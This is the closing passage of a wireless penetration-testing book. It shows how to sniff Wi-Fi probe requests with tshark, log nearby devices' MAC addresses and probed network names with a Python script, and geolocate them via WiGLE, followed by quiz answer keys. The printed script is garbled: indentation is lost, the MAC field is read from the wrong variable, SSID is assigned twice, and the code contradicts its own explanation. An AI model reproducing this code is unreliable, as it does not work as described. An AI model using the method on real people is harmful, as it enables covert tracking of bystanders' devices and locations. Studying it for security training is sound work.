In this section, we will utilize tshark and Python to collect data. You will receive the code and an explanation of what is being done.

Time for action – collecting data

Follow the given instructions to get started:

 First of all, we need a device that's looking for multiple networks. Generally, a normal smartphone such as an Android device or iPhone will do the trick. Desktops don't generally make good targets as they tend to remain in one location. Newer iPhones and Android devices may have probe requests disabled or obfuscated, so do check before you give up.

- 2. Once you have your device, make sure the Wi-Fi is turned on.
- **3.** Then set up your monitoring interface as we have done many times before:



4. The next thing to be done is to look for probe requests with tshark via the following command:

```
tshark -n -i mon0 subtype probereq
```

The screenshot of the following command is as follows:

```
root@kali:~# tshark -n -i mon0 subtype probereq
```

5. Your output at this point is a little rough, as the default output from tshark is not designed to be readable, just to have as much information in it as possible. It should look like the following:



6. You can clearly see the MAC address and SSID of the probe request; however, this output can be improved. We can use the following command to make it more readable:

```
tshark -n -i mon0 subtype probereq -T fields -e separator= -e wlan.sa -e wlan mgt.ssid
```

The screenshot of the following command is as follows:

```
<mark>root@kali:~#</mark> tshark -n -i mon0 subtype probereq -T fields -e separator= -e wlar
.sa -e wlan_mgt.ssid
```

7. The output here is much more readable:

98	4c:0f:6e:70:bd:cb	Wireless Lab
	4c:0f:6e:70:bd:cb	Wireless Lab

8. So, now we have the output in a readable format, what next? What we do is create a Python script that will run the command and record the output for later analysis. Before running the code, you will need to ensure that you have your monitoring interface ready and that a file called results.txt is created in the directory you are in. The Python script is as follows:

```
import subprocess
import datetime
results = open("results.txt", "a")
while 1:
blah = subprocess.check_output(["tshark -n -i mon0 subtype
probereq -T fields -e separator= -e wlan.sa -e wlan_mgt.ssid -c
100"], shell=True)
splitblah = blah.split("\n")
for value in splitblah[:-1]:
splitvalue = value.split("\t")
MAC = str(splitblah[:-1])
SSID = str(splitvalue[1])
SSID = str(splitvalue[2])
time = str(datetime.datetime.now())
Results.write(MAC+" "+SSID+" "+time+"\r\n")
```

Let's get briefed on the python script:

- import subprocess library and datetime library: This allow us to refer to the subprocess and datetime libraries. The subprocess library allows us to monitor the interface from the Linux command line, and datetime allows us to get the accurate time and date readings.
- while 1: This line means run until stopped.

- results = open("results.txt", "a"): This opens a file with the append rights and assigns it to results. The append rights only allow the script to add to the contents of the file. This stops the file from constantly being overwritten.
- blah = subprocess.check_output(["tshark -n -I mon0 subtype probereq -T fields -e separator= -e wlan.sa -e wlan_mgt.ssid -c 100"], shell=True): This opens a shell to perform our previously tested tshark command. The only difference this time is—c 100. What this flag does is it limit the command to 100 queries. This allows us to return the results to ourselves without having to stop the program. Since we said run forever after writing the results, the script will restart again.
- This line takes the output from the shell and assigns it to the variable blah.
- splitblah = blah.split("\n"): This takes the variable blah and splits it by line.
- for value in splitblah[:-1]: This repeats the following action for each line in the output, ignoring the first line that contains headers.
- splitvalue = value.split("\t"): This breaks each line into further smaller chunks using the tab character as the delimiter.
- The following three lines take each chunk of text and assign it to a variable.

```
MAC = str(splitvalue[1])
SSID = str(splitvalue[2])
time = str(datetime.datetime.now())
```

results.write(MAC+" "+SSID+" "+time+"\r\n"): This takes all the values, writes them to a file separated by spaces, and ends with a return and a new line for neatness.

The output will be neat lines of text written to the file.

What just happened?

We took the input from probe requests and output them to a file using Python.

You may ask yourself what the purpose of this is. This can be achieved by simply performing the original tshark command and adding a >> results.txt command to the end. You would be correct; however, what we have created is a framework for integration with other tools, visualization platforms, databases, and services.

For example, using the WiGLE database that maps SSIDs to locations, you can add a few lines of code to take the SSID variable and query the WiGLE database.

Alternatively, you could set up a MySQL database and output the results there to perform the SQL commands on it.

This section has provided you with the first steps to create your own probe-monitoring tools. Through experimentation and using this simple code as the first step, a multitude of useful tools can be created.

Have a go hero – extension ideas

Research which tools are available that allow visualization or data analytics and are easily integrated with Python. Tools such as Maltego have free versions that can be used to plot information.

Set yourself up a MySQL database to record the data and reconfigure the preceding Python script to output the results to the database. Then, build another script (or do it in the same one) to retrieve the data and output it to Maltego.

Reconfigure the script to query WiGLE, and collect geolocation data for probe requests. Output this data through Maltego.

Make an attempt to set up a web-based frontend through Flask, Django, or PHP to display your results. Investigate currently existing solutions for presenting the data and attempting to emulate or improve them through a discussion with their creators.

Summary

In this chapter, we discussed the attacks against WPS that have come about since the release of the original book and also performed an initial foray into integrating wireless tools with Python. Alas, we have come to end of the book, I hope it's been informative and interesting. See you in another seven years for the third edition.

Pop Quiz Answers

Chapter 1, Wireless Lab Setup

Pop quiz – understanding the basics

Q1	Run the command ifconfig wlan0. In the output, you should see a flag "UP", this indicates that the card is functional.
Q2	You will only need a hard drive if you would like to store anything across reboots like configuration settings or scripts.
Q3	It shows the ARP table on the local machine.
Q4	We would use WPA_Supplicant.

Chapter 2, WLAN and its Inherent Insecurities

Pop quiz – understanding the basics

Q1	3
Q2	3
Q3	1

Pop Quiz Answers

Chapter 3, Bypassing WLAN Authentication

Pop quiz – WLAN authentication

Q1	4
Q2	2
Q3	1

Chapter 4, WLAN Encryption Flaws

Pop quiz – WLAN encryption flaws

Q1	3
Q2	1
Q3	2

Chapter 5, Attacks on the WLAN Infrastructure

Pop quiz – attacks on the WLAN infrastructure

Q1	1
Q2	1
Q3	1
Q4	4

Chapter 6, Attacking the Client

Pop quiz – Attacking the Client

Q1	1
Q2	1
Q3	2
Q4	4

Chapter 7, Advanced WLAN Attacks

Pop quiz – advanced WLAN attacks

Q1	2
Q2	2
Q3	4
Q4	1

Chapter 8, Attacking WPA-Enterprise and RADIUS

Pop quiz – attacking WPA-Enterprise and RADIUS

	1
Q1	2
Q2	2
Q3	4
Q4	2

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